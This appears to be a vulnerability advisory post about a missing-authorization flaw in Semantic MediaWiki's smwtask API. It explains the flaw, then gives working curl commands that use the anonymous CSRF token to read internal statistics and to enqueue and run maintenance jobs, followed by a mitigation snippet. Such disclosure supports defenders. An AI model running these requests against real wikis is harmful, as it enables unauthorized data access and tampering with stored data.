Listen to this Post
The Semantic MediaWiki extension exposes an API module named smwtask.
The module is reached through api.php?action=smwtask.
It performs no authorization check.
The web UI equivalent Special:SMWAdmin requires the smw-admin right.
The API module backing several same operations enforces nothing.
An unauthenticated visitor can retrieve internal Semantic MediaWiki database statistics.
The visitor can also reach state-changing maintenance operations.
These operations are intended to be administrator-only.
SMW\MediaWiki\Api\Task::execute() in src/MediaWiki/Api/Task.php reads request parameters.
It resolves a task through TaskFactory.
It runs the task.
It contains no permission check.
There is no smw-admin check.
There is no checkUserRightsAny() call.
There is no per-task right.
The only gates are needsToken(‘csrf’) and mustBePosted()/isWriteMode().
needsToken(‘csrf’) is not authorization.
MediaWiki issues anonymous users a fixed public CSRF token (+).
Any unauthenticated caller satisfies the token check.
It defends logged-in users against CSRF.
It does nothing against a direct anonymous request.
mustBePosted()/isWriteMode() do not gate on group membership.
Special:SMWAdmin restricts access via parent::__construct(‘SMWAdmin’,’smw-admin’).
It raises PermissionsError when smw-admin is absent.
The API path bypasses that restriction entirely.
Tasks reachable anonymously include table-statistics and duplicate-lookup.
These return internal store statistics and enumerate internal object-ID space.
insert-job enqueues any Semantic MediaWiki job type for an arbitrary .
update, check-query, and run-joblist run update jobs and ask queries synchronously.
run-joblist pops and executes queued jobs inline.
Because insert-job can enqueue smw.entityIdDisposer with a specific id, exposure includes targeted modification of stored semantic data.
DailyCVE Form:
Platform: Semantic MediaWiki
Version: 3.x-current
Vulnerability: Missing authorization
Severity: Critical
date: Not provided
Prediction: 7.3.0+ release
What Undercode Say:
Analytics:
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
-> {"query":{"tokens":{"csrftoken":"+\"}}}
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'action=smwtask&task=table-statistics¶ms={}&token=%2B%5C&format=json' \
'https://HOST/api.php'
-> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
--data-urlencode 'params={"subject":"Main_Page0","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
-> {"task":{"done":""}}
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
--data-urlencode 'params={"subject":"Main_Page0","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
-> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}
Exploit: (Educational Purposes!)
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'action=smwtask&task=table-statistics¶ms={}&token=%2B%5C&format=json' \
'https://HOST/api.php'
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
--data-urlencode 'params={"subject":"Main_Page0","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
--data-urlencode 'params={"subject":"Main_Page0","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
curl -s 'https://HOST/api.php?action=query&meta=userinfo&format=json'
-> {"id":0,"anon":""}
Protection: from this CVE
$wgExtensionFunctions[] = static function () {
unset( $GLOBALS['wgAPIModules']['smwtask'] );
};
Impact:
Unauthenticated attackers can retrieve internal Semantic MediaWiki database statistics.
They can enumerate internal object-ID space.
They can enqueue arbitrary Semantic MediaWiki maintenance jobs.
They can force synchronous execution of update jobs, ask queries, and queued jobs.
They can degrade wiki performance.
They can reach entity-disposal operations against enumerated object IDs.
They can affect integrity of stored semantic data.
Severity scales with wiki population, store size, and job cost.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
